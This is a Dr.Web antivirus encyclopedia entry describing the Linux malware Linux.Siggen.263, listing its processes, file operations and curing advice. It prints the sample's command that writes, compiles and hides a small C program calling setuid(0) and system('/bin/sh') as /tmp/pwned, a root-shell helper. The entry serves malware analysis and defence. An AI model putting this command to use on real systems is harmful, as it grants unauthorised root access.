Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Linux.Siggen.263

Added to the Dr.Web virus database: 2017-10-15

Virus description added:

Technical Information

Malicious functions:
Compiles a program from source codes:
  • gcc /tmp/pwned.c -o /tmp/pwned
Launches processes:
  • sh -c echo \"main(){setuid(0);setgid(0);system(\\"/bin/sh\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c
  • rm -f /tmp/pwned.c
Kills the following processes:
  • <SAMPLE>
Performs operations with the file system:
Modifies file access rights:
  • /tmp/pwned
Creates or modifies files:
  • /tmp/pwned.c
  • /root/core
  • /tmp/cc7uBqe0.s
  • /tmp/ccFSgAU5.o
  • /tmp/ccoglqkc.res
  • /tmp/ccd9JYwx.c
  • /tmp/ccpnYvdE.o
  • /tmp/cctzFhUK.ld
  • /tmp/ccDymsBR.le
  • /tmp/pwned
Deletes files:
  • /tmp/pwned.c
  • /root/core
  • /tmp/cctzFhUK.ld
  • /tmp/ccDymsBR.le
  • /tmp/ccd9JYwx.c
  • /tmp/ccpnYvdE.o
  • /tmp/ccoglqkc.res
  • /tmp/ccFSgAU5.o
  • /tmp/cc7uBqe0.s
Other:
Collects RAM information

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number